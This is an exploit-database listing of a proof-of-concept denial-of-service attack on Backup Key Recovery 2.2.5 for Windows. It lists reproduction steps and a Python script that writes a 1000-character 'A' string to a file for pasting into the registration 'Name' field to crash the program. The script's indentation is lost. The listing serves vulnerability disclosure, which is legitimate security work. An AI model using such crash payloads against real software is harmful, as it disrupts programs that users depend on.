Backup key recovery 2.2.5 name denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-01-13 | Type : dos | Platform : windows

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[+] Code ...

# Exploit Title: Backup Key Recovery 2.2.5 - 'Name' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install Backup Key Recovery
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.Backup Key Recovery Crashed
'''

#!/usr/bin/python

buffer = "A" * 1000

payload = buffer
try:
f=open("poc.txt","w")
print("[+] Creating %s bytes evil payload." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("File cannot be created.")